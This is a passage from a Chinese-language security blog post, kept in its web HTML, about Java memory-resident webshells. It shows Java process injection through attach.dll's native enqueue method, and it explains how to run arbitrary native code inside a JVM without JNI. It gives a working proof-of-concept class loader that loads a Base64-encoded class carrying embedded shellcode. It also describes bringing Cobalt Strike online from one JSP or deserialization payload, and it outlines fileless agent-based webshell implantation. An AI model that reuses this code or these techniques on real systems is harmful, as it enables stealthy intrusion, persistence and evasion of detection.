63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">至此，我们实现了Windows平台上的Java远程进程注入。另外，这个技术还有个额外效果，那就是当注入进程的PID设置为-1的时候，可以往当前Java进程注入任意Native代码，以实现不用JNI执行任意Native代码的效果。这样就不需要再单独编写JNI库来执行Native代码了，也就是说，上文提到的内存马防检测机制，不需要依赖JNI，只要纯Java代码也可以实现。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">冰蝎3.0中提供了一键cs上线功能，采用的是JNI机制，中间需要上传一个临时库文件才能实现上线。现在利用这个技术，可以实现一个JSP文件或者一个反序列化Payload即可上线CS：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="912" data-type="png" style="box-sizing: border-box;" data-ratio="0.5010964912280702" src="https://wechat2rss.xlab.app/img-proxy/?k=51fd4e39&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0n1PQPyYUz96nZ9W80S83NflicFhj0tcAGgU6raIDFn3t7NJxZCtkqdA%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">自定义类调用系统Native库函数</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">在上一小节Java原生远程进程注入中，我的POC里是通过反射创建了一个sun.tools.attach.VirtualMachineImpl类，然后再去调用类里面的enqueue这个Native方法。这时可能会有同学有疑惑，这个Native方法位于attach.dll，这个dll是JDK和Server-JRE默认自带的，但是这个sun.tools.attach.VirtualMachineImpl类所在的tools.jar包并不是每个JDK环境都有的。这个技术岂不是要依赖tools.jar？因为有些JDK环境是没有tools.jar的。当然，这个担心是没必要的。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">我们只要自己写一个类，类的限定名为sun.tools.attach.VirtualMachineImpl即可。不过可能还会有疑问，我们自己写一个sun.tools.attach.VirtualMachineImpl类，但是如果某个目标里确实有tools.jar，那我们自己写的类在加载的时候就会报错，有没有一个更通用的方法呢？当然还是有的。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">其实这个方法在冰蝎1.0版本的时候就已经解决了，那就是用一个自定义的classLoader。但是我们都知道classLoader在loadClass的时候采用双亲委托机制，也就是如果系统中已经存在一个类，即使我们用自定义的classLoader去loadClass，也会返回系统内置的那个类。但是如果我们绕过loadClass，直接去defineClass即可从我们指定的字节码数组里创建类，而且类名我们可以任意自定义，重写java.lang.String都没问题:) 然后再用defineClass返回的Class去实例化，然后再调用我们想调用的Native函数即可。因为Native函数在调用的时候只检测发起调用的类限定名，并不检测发起调用类的ClassLoader，这是我们这个方法能成功的原因。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">比如我们自定义如下这个类：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">package</span> sun.tools.attach;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.IOException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Scanner;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">WindowsVirtualMachine</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">native</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">enqueue</span><span class="code-snippet__params">(<span class="code-snippet__keyword">long</span> hProcess, <span class="code-snippet__keyword">byte</span>[] stub,</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">                            String cmd, String pipename, Object... args)</span> <span class="code-snippet__keyword">throws</span> IOException;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">native</span> <span class="code-snippet__keyword">long</span> <span class="code-snippet__title">openProcess</span><span class="code-snippet__params">(<span class="code-snippet__keyword">int</span> pid)</span> <span class="code-snippet__keyword">throws</span> IOException</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">run</span><span class="code-snippet__params">(<span class="code-snippet__keyword">byte</span>[] buf)</span> </span>{</span></code><code><span class="code-snippet_outer">        System.loadLibrary(<span class="code-snippet__string">&#34;attach&#34;</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            enqueue(-<span class="code-snippet__number">1</span>, buf, <span class="code-snippet__string">&#34;test&#34;</span>, <span class="code-snippet__string">&#34;test&#34;</span>, <span class="code-snippet__keyword">new</span> Object[]{});</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">            e.printStackTrace();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">然后把这个类编译成class文件，把这个文件用Base64编码，然后写到如下POC里：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.*;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.InvocationTargetException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Method;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.security.Permission;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Arrays;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Base64;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Poc</span> </span>{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Myloader</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">ClassLoader</span> //继承<span class="code-snippet__title">ClassLoader</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> Class <span class="code-snippet__title">get</span><span class="code-snippet__params">(<span class="code-snippet__keyword">byte</span>[] b)</span> </span>{</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">super</span>.defineClass(b, <span class="code-snippet__number">0</span>, b.length);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">(String[] args)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            String classStr=<span class="code-snippet__string">&#34;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&#34;</span>;</span></code><code><span class="code-snippet_outer">            Class result = <span class="code-snippet__keyword">new</span> Myloader().get(Base64.getDecoder().decode(classStr));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">for</span> (Method m:result.getDeclaredMethods())</span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer">                System.out.println(m.getName());</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (m.getName().equals(<span class="code-snippet__string">&#34;run&#34;</span>))</span></code><code><span class="code-snippet_outer">                {</span></code><code><span class="code-snippet_outer">                    m.invoke(result,<span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">byte</span>[]{});</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">            e.printStackTrace();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">这样就可以通过自定义一个系统内置类来加载系统库函数的Native方法。</p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">无文件落地Agent型内存马植入</h3><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">可行性分析</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">前面我们讲到了目前Java内存马的分类：Agent型内存马和非Agent型内存马。由于非Agent型内存马注入后，会产生新的类和对象，同时还会产生各种错综复杂的相互引用关系，比如要创建一个恶意Filter内存马，需要先修改已有的FilterMap，然后新增FilterConfig、FilterDef，最后还要修改FilterChain，这一系列操作产生的脏数据过多，不够整洁。因此我还是认为Agent型内存马才是更理想的内存马。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">但是目前来看，Agent型内存马的缺点也非常明显：</p><p style="box-sizing: border-box;margin-top: 20px;margin-right: 10px;margin-bottom: 20px;padding-left: 20px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>磁盘有agent文件落地</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>需要上传文件，植入步骤复杂</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>如无写文件权限，则无法植入</span></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">众所周知，想要动态修改JVM中已经加载的类的字节码，必须要通过加载一个Agent来实现，这个Agent可以是Java层的agent.jar，也可以是Native层的agent.so，但是必须要有个agent。有没有一种方法可以既优雅又简洁的植入Agent型内存马呢？换句话说，有没有一种方法可以在不依赖额外Agent的情况下，动态修改JVM中已经加载的类的字节码呢？以前没有，现在有了：）</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">首先，我们先看一下通过Agent动态修改类的流程：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="1080" data-type="png" style="box-sizing: border-box;display: inline;" data-ratio="0.43425925925925923" src="https://wechat2rss.xlab.app/img-proxy/?k=ca97fce2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0AxwxeQO6R0XRa33p4renHpU3ZGAdPcIJqu11Ws7dKclN46XKIZQjWw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-top: 20px;margin-right: 10px;margin-bottom: 20px;padding-left: 20px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">1.</span>在客户端和目标JVM建立IPC连接以后，客户端会封装一个用来加载agent.jar的AttachOperation对象，这个对象里面有三个关键数据：actioName、libName和agentPath；</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">2.</span>服务端收到AttachOperation后，调用enqueue压入AttachOperation队列等待处理；</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">3.</span>服务端处理线程调用dequeue方法取出AttachOperation；</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">4.</span>服务端解析AttachOperation，提取步骤1中提到的3个参数，调用actionName为load的对应处理分支，然后加载libinstrument.so（在windows平台为instrument.dll），执行AttachOperation的On_Attach函数（由此可以看到，Java层的instrument机制，底层都是通过Native层的Instrument来封装的）；</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">5.</span>libinstrument.so中的On_Attach会解析agentPath中指定的jar文件，该jar中调用了redefineClass的功能；</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">6.</span>执行流转到Java层，JVM会实例化一个InstrumentationImpl类，这个类在构造的时候，有个非常重要的参数mNativeAgent： <img data-w="1080" data-type="png" style="box-sizing: border-box;" data-ratio="0.40555555555555556" src="https://wechat2rss.xlab.app/img-proxy/?k=39aa8457&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP04z5AmAsu8zicbHeiaaKWXaKwP758wCr0gP9WXlsYpPUQWMhSBwYYqT4Q%2F640%3Fwx_fmt%3Dpng"/><br style="box-sizing: border-box;"/>这个参数是long型，其值是一个Native层的指针，指向的是一个C++对象JPLISAgent。</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">7.</span>InstrumentationImpl实例化之后，再继续调用InstrumentationImpl类的redefineClasses方法，做稍许校验之后继续调用InstrumentationImpl的Native方法redefineClasses0</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">8.</span>执行流继续走入Native层： <img data-w="1023" data-type="png" style="box-sizing: border-box;" data-ratio="0.2785923753665689" src="https://wechat2rss.xlab.app/img-proxy/?k=c5f79956&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP00PPcIW3VEvB4TiaMWWSq0RmVrUvrnTVJkPVyL4nXt0UqDLFbhmpl7Qw%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">继续跟入：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="1080" data-type="png" style="box-sizing: border-box;display: inline;" data-ratio="1.1870370370370371" src="https://wechat2rss.xlab.app/img-proxy/?k=40afd098&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0NsSRHThibF7hSXbHKP4efzHvFic8kUJO9Rh7A6cpYrslzCDAw8gg6EBQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">做了一系列判断之后，最终调用jvmtienv的redefineClasses方法执行类redefine操作：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="1080" data-type="png" style="box-sizing: border-box;" data-ratio="0.33611111111111114" src="https://wechat2rss.xlab.app/img-proxy/?k=74f232d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0GIOZSPxjwXWy0Z9ib0VjkmBHcPS0Ra5SJniaMoR9Gr4Z6fc2Crkp6JRQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">接下来理一下思路，在上面的8个步骤中，我们只要能跳过前面5个步骤，直接从步骤6开始执行，即可实现我们的目标。那么问题来了，步骤6中在实例化InstrumentationImpl的时候需要的非常重要的mNativeAgent参数值，这个值是一个指向JPLISAgent对象的指针，这个值我们不知道。只有一个办法，我们需要自己在Native层组装一个JPLISAgent对象，然后把这个对象的地址传给Java层InstrumentationImpl的构造器，就可以顺利完成后面的步骤。</p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">组装JPLISAgent</h3><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 